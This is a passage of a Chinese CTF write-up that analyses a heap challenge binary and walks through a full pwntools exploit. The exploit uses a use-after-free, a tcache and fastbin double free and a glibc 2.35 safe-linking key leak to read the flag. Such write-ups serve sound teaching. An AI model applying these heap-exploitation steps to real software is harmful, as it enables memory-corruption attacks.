setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
v7 = calloc(0x10uLL, 8uLL);
puts("Dreams are fragile bubbles and echoes of the soul.\n");
printf("Those heavy dreams will always dissipate quietly, leaving behind only a few light fantasies");
implant_core_memory(v7);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(
"1) Weaving new dreams\n"
"2) Recalling old dreams\n"
"3) Eliminating dream remnants\n"
"4) Leaving the dream space\n");
__isoc99_scanf("%d", &n2);
getchar();
if ( n2 != 1 )
break;
implant_user_memory(v7);
}
if ( n2 != 2 )
break;
v5 = collect_num(1LL, 16LL);
recall_memory(v7, v5);
}
if ( n2 != 3 )
break;
v6 = collect_num(1LL, 16LL);
erase_memory(v7, v6);
}
if ( n2 == 4 )
break;
puts("You seem to be lost in a dream world. Please choose a new path.");
}
puts("Will you still remember all this when you wake up? Goodbye, Dreamwalker.");
return 0;
}

开头先 v7 = calloc(0x10uLL, 8uLL); 创建一个堆块给v7,是程序的控制块
有一个implant_core_memory函数,参数为v7

implant_core_memory函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall implant_core_memory(__int64 a1)
{
char *v1; // rax
char *s; // [rsp+18h] [rbp-8h]

if ( !getenv("FLAG") )
{
printf("Unable to read core dreamscape. If you see this alert in a dream competition, please contact an administrator.");
exit(1);
}
s = (char *)malloc(0x40uLL);
v1 = getenv("FLAG");
snprintf(s, 0x40uLL, "%s", v1);
add_mem_to_record(a1, s);
return puts("Core dreams have infused and become the bedrock of memory.");
}

先用if判断检测FLAG环境变量是否存在,没有的会直接退出程序
这也是为什么本地直接运行会运行不了

这里本地运行解决方法
1.直接运行程序时,临时给一个FLAG变量并运行程序

2.脚本中本地调试,将自定义环境变量传递给子进程

1
2
env={"FLAG": "flag"}
io= process('/home/motaly/vuln',env=env)

接着在创建一个堆块,给s
FLAG环境变量的指针赋值给v1
用snprintf函数把v1写入s块中
然后有一个add_mem_to_record函数,参数为v7(传入了v7赋值给a1)和s

add_mem_to_record函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall add_mem_to_record(__int64 a1, __int64 a2)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(_QWORD *)(8LL * i + a1) )
{
*(_QWORD *)(a1 + 8LL * i) = a2;
return printf("Your dreams have been sealed at level %d.\n", i);
}
}
return puts("Dreamspace is full. New memories are inaccessible.");
}

这里是把堆块地址存储到结构块中
返回main函数,下面就是堆块正常的增删查功能

1-add

1
2
3
4
5
__isoc99_scanf("%d", &n2);
getchar();
if ( n2 != 1 )
break;
implant_user_memory(v7);

implant_user_memory函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall implant_user_memory(__int64 a1)
{
char s[64]; // [rsp+210h] [rbp-50h] BYREF
char *dest; // [rsp+250h] [rbp-10h]
int size; // [rsp+25Ch] [rbp-4h]

printf("Please enter the content of the dream you wish to record (up to %d characters).\n", 64);
fgets(s, 64, stdin);
size = strnlen(s, 0x40uLL) - 1;
printf("The dream has been included and its length is: %d\n", size);
dest = (char *)malloc(size);
strcpy(dest, s);
if ( dest[size] == 10 )
dest[size] = 0;
return add_mem_to_record(a1, (__int64)dest);
}

这里只有一个内容输入点,不能自定义大小

2-show

1
2
3
4
if ( n2 != 2 )
break;
v5 = collect_num(1LL, 16LL);
recall_memory(v7, v5);

collect_num函数

参数是1和16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall collect_num(char a1, int a2)
{
unsigned int v3; // [rsp+1Ch] [rbp-4h] BYREF

puts("Please select the dream number you want to access:");
__isoc99_scanf("%d", &v3);
getchar();
if ( a1 && (!v3 || a2 <= (int)v3) )
{
puts("This dream is too far away to reach.");
exit(0);
}
return v3;
}

只能输出1-15块的内容,存储FLAG变量内容的0块不能输出

recall_memory函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall recall_memory(__int64 a1, int i_1)
{
const char *v3; // [rsp+10h] [rbp-10h]
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= i_1; ++i )
{
v3 = *(const char **)(8LL * i + a1);
if ( !v3 )
return puts("This dream is a blur...");
if ( i_1 == i )
return printf("Reliving a slice of a dream...\n\t\"%s\"", v3);
}
return puts("Failed to find that scene in the dream.");
}

输出堆块内容

3-delete

1
2
3
4
if ( n2 != 3 )
break;
v6 = collect_num(1LL, 16LL);
erase_memory(v7, v6);

collect_num函数同上面一样

erase_memory函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall erase_memory(__int64 a1, int i_1)
{
int i; // [rsp+1Ch] [rbp-4h]

free(*(void **)(8LL * i_1 + a1));
for ( i = 0; i <= i_1; ++i )
{
if ( !*(_QWORD *)(8LL * i + a1) )
return puts("That dream has long been lost in the mists of time...");
if ( i_1 == i )
{
*(_QWORD *)(8LL * i + a1) = 0LL;
return printf("The %d layer of the dream has been erased.", i);
}
}
return puts("Dreams can't be localized.");
}

这里释放后,在最后清空了指针,还是会存在UAF

思路

开始有结构块存放每个堆块地址和0块存放FLAG变量内容
所以我们要做的就是可以修改结构中1块的函数地址为0块地址,在通过输出1块,把0块中FLAG变量的内容输出出来
最开始的堆块情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
env={"FLAG": "flag"}
io= process('/home/motaly/vuln',env=env)
elf=ELF('/home/motaly/vuln')

def add(content):
io.sendlineafter("Leaving the dream space\n", "1")
io.sendlineafter("Please enter the content of the dream you wish to record (up to 64 characters).\n", content)

def delete(index):
io.sendlineafter("Leaving the dream space\n", "3")
io.sendlineafter("Please select the dream number you want to access:\n", str(index))

def show(index):
io.sendlineafter("Leaving the dream space\n", "2")
io.sendlineafter("Please select the dream number you want to access:\n", str(index))


这里有UAF,无edit函数,添加堆块的大小我们也不能控制,会涉及tcache bin,所以这里我们可以在fast bin中把一个堆块进行double free,来达到我们的目的
但这是libc2.35版本的题,所以会涉及到地址混淆技术—堆指针异或防护,针对的是fd指针


知识点:
glibc 2.35 及之后版本为防止传统的 House of Spirit 攻击,对堆块指针进行了异或混淆。
也就是当一个堆块被释放到 fastbin 时,其 fd 指针会被异或上一个随机密钥(通常是堆基址的高 12 位)。
当从 fastbin 分配堆块时,系统会自动将 fd 与密钥再次异或,还原出真实地址。
异或操作

  • 符号表示:通常用 ^ 或 XOR 表示,是二进制位运算的一种。
  • 运算规则:对两个二进制位进行运算,当且仅当两个位不同时结果为 1,相同时为 0。
    异或的逆运算特性:
    (a ^ b) ^ b = a(异或自身可还原原值,这是堆保护的核心原理)
    具体场景:
  • 释放堆块到 fastbin
    真实 fd 指针为 fd_addr,存入 fastbin 时存储 fd_addr ^ key
  • 从 fastbin 分配
    取出时读取 fd 字段值 x,计算 x ^ key 得到真实 next_chunk_addr(x=fd_addr ^ key)

所以在构造fast bin 中的 double free时,还要泄露异或操作的key值获得真实的地址
先获取key值
tcachebin中最多有7个chunk,先构造,填满tcachebin

1
2
3
4
for i in range(8): #1-8(0块已经有了)
add('aaaa')
for i in range(7): #7-1
delete(7 - i)

创8,倒序删7,留一个备用
倒序是因为同样delete被限制不能删除0块
这时我们删除备用8块就能让8块进入fastbin

1
2
3
4
5
6
for i in range(8): #1-8
add('aaaa')
for i in range(7): #7-1
delete(7-i)

delete(8)


创7块,把tcachebin的块申请回来,再输出8块,输出内容就是key
(大佬的解释是:有些情况下,这个块释放是fastbin和tcachebin中唯一的块,fd的异或就是key^0=key)

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(8): #1-8
add('aaaa')
for i in range(7): #7-1
delete(7-i)

delete(8)

for i in range(7):
add('aaaa')
show(8)
io.recvuntil(b'Reliving a slice of a dream...\n')
key=u64(io.recv(7)[-5:].ljust(8, b'\x00'))
log.success('key :'+hex(key))

会发现key是地址的前9位十六进制字符

接着将key左移,恢复了堆基址(页对齐地址),低 12 位补 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(8): #1-8
add('aaaa')
for i in range(7): #7-1
delete(7-i)

delete(8)

for i in range(7):
add('aaaa')
show(8)
io.recvuntil(b'Reliving a slice of a dream...\n')
key=u64(io.recv(7)[-5:].ljust(8, b'\x00'))
log.success('key :'+hex(key))

heap=key << 12
log.success('heap :'+hex(heap))

承接上面heap的值是这样

获得key值后,我们就可以开始构造fastbin中的double free


这里涉及到一个知识点(大佬给我科普的):
一个堆块是可以同时存放于fastbin,tcachebin中,这种不算是double free


根据这个知识点我们就可以把一个块同时释放到tcachebin和fastbin中,使得后面我们可以让两个指针指向同一块,进行double free
再次删除8块,使8块的地址同时存在tcachebin和fastbin中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for i in range(8): #1-8
add('aaaa')
for i in range(7): #7-1
delete(7-i)

delete(8)

for i in range(7):
add('aaaa')
show(8)
io.recvuntil(b'Reliving a slice of a dream...\n')
key=u64(io.recv(7)[-5:].ljust(8, b'\x00'))
log.success('key :'+hex(key))

heap=key << 12
log.success('heap :'+hex(heap))

delete(8)


创建8,9,10三个块,8,9对tcachebin和fastbin中的地址进行调用,等于8和9是指向一个块的,创建10块用于后面,当double free的中间块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for i in range(8): #1-8
add('aaaa')
for i in range(7): #7-1
delete(7-i)

delete(8)

for i in range(7):
add('aaaa')
show(8)
io.recvuntil(b'Reliving a slice of a dream...\n')
key=u64(io.recv(7)[-5:].ljust(8, b'\x00'))
log.success('key :'+hex(key))

heap=key << 12
log.success('heap :'+hex(heap))

delete(8)

add(p64(key)) #8
add(b'aaaa') #9 fast_bin->8
add(b'aaaa') #10

这里要注意的是8块创建的时候,内容要写成key


原因:
8,9指向的是同一块
根据上面的知识点可以知道libc2.35版本对fastbin的异或操作
下面9块是从fastbin中调用,会对fd再次异或,8块内容写入key,对9块的创建不会有任何影响,但如果是其他值,创建9时fd异或后不是真实地址,就会报错


接着先释放前面7块,填满tcachebin,再释放8,9,10块构造double free,因为我们是要在fastbin中进行double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
for i in range(8): #1-8
add('aaaa')
for i in range(7): #7-1
delete(7-i)

delete(8)

for i in range(7):
add('aaaa')
show(8)
io.recvuntil(b'Reliving a slice of a dream...\n')
key=u64(io.recv(7)[-5:].ljust(8, b'\x00'))
log.success('key :'+hex(key))

heap=key << 12
log.success('heap :'+hex(heap))

delete(8)

add(p64(key)) #8
add(b'aaaa') #9 fast_bin->8
add(b'aaaa') #10

for i in range(7):
delete(7 - i)

delete(8)
delete(10)
delete(9)


接下来就是利用double free,我们要利用的是结构块,此时有了key值和堆基址
所以先把tcachebin中的块调用出来,然后根据堆基址构造结构块地址与key值的异或,这样我们在创建调用9块的时候内容写入异或的结果,这里创建再次异或,块就会在bin中指向结构块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
for i in range(8): #1-8
add('aaaa')
for i in range(7): #7-1
delete(7-i)

delete(8)

for i in range(7):
add('aaaa')
show(8)
io.recvuntil(b'Reliving a slice of a dream...\n')
key=u64(io.recv(7)[-5:].ljust(8, b'\x00'))
log.success('key :'+hex(key))

heap=key << 12
log.success('heap :'+hex(heap))

delete(8)

add(p64(key)) #8
add(b'aaaa') #9 fast_bin->8
add(b'aaaa') #10

for i in range(7):
delete(7 - i)

delete(8)
delete(10)
delete(9)
gdb.attach(io)
for i in range(7):
add(b'aaaa')

fake_fd=(heap + 0x2a0)^key
info('fake_fd:' + hex(fake_fd))

add(p64(fake_fd)) #9



下面就可以通过创建堆块,调用到结构块,在创建的时候直接利用堆基址构造0块地址放到结构快中1块的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
for i in range(8): #1-8
add('aaaa')
for i in range(7): #7-1
delete(7-i)

delete(8)

for i in range(7):
add('aaaa')
show(8)
io.recvuntil(b'Reliving a slice of a dream...\n')
key=u64(io.recv(7)[-5:].ljust(8, b'\x00'))
log.success('key :'+hex(key))

heap=key << 12
log.success('heap :'+hex(heap))

delete(8)

add(p64(key)) #8
add(b'aaaa') #9 fast_bin->8
add(b'aaaa') #10

for i in range(7):
delete(7 - i)

delete(8)
delete(10)
delete(9)

for i in range(7):
add(b'aaaa')

fake_fd=(heap + 0x2a0)^key
info('fake_fd:' + hex(fake_fd))

add(p64(fake_fd)) #9

add(b'aaaa')
add(b'aaaa')
add(b'a'*8+p64(heap + 0x330))


最后输出11块,其实输出的就是0块的FLAG变量内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
for i in range(8): #1-8
add('aaaa')
for i in range(7): #7-1
delete(7-i)

delete(8)

for i in range(7):
add('aaaa')
show(8)
io.recvuntil(b'Reliving a slice of a dream...\n')
key=u64(io.recv(7)[-5:].ljust(8, b'\x00'))
log.success('key :'+hex(key))

heap=key << 12
log.success('heap :'+hex(heap))

delete(8)

add(p64(key)) #8
add(b'aaaa') #9 fast_bin->8
add(b'aaaa') #10

for i in range(7):
delete(7 - i)

delete(8)
delete(10)
delete(9)

for i in range(7):
add(b'aaaa')

fake_fd=(heap + 0x2a0)^key
info('fake_fd:' + hex(fake_fd))

add(p64(fake_fd)) #9

add(b'aaaa')
add(b'aaaa')
add(b'a'*8+p64(heap + 0x330))

show(1)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
env={"FLAG": "flag"}
io= process('/home/motaly/vuln',env=env)
elf=ELF('/home/motaly/vuln')

def add(content):
io.sendlineafter("Leaving the dream space\n", "1")
io.sendlineafter("Please enter the content of the dream you wish to record (up to 64 characters).\n", content)

def delete(index):
io.sendlineafter("Leaving the dream space\n", "3")
io.sendlineafter("Please select the dream number you want to access:\n", str(index))

def show(index):
io.sendlineafter("Leaving the dream space\n", "2")
io.sendlineafter("Please select the dream number you want to access:\n", str(index))

for i in range(8): #1-8
add('aaaa')
for i in range(7): #7-1
delete(7-i)

delete(8)

for i in range(7):
add('aaaa')
show(8)
io.recvuntil(b'Reliving a slice of a dream...\n')
key=u64(io.recv(7)[-5:].ljust(8, b'\x00'))
log.success('key :'+hex(key))

heap=key << 12
log.success('heap :'+hex(heap))

delete(8)

add(p64(key)) #8
add(b'aaaa') #9 fast_bin->8
add(b'aaaa') #10

for i in range(7):
delete(7 - i)

delete(8)
delete(10)
delete(9)

for i in range(7):
add(b'aaaa')

fake_fd=(heap + 0x2a0)^key
info('fake_fd:' + hex(fake_fd))

add(p64(fake_fd)) #9

add(b'aaaa')
add(b'aaaa')
add(b'a'*8+p64(heap + 0x330))

show(1)

io.interactive()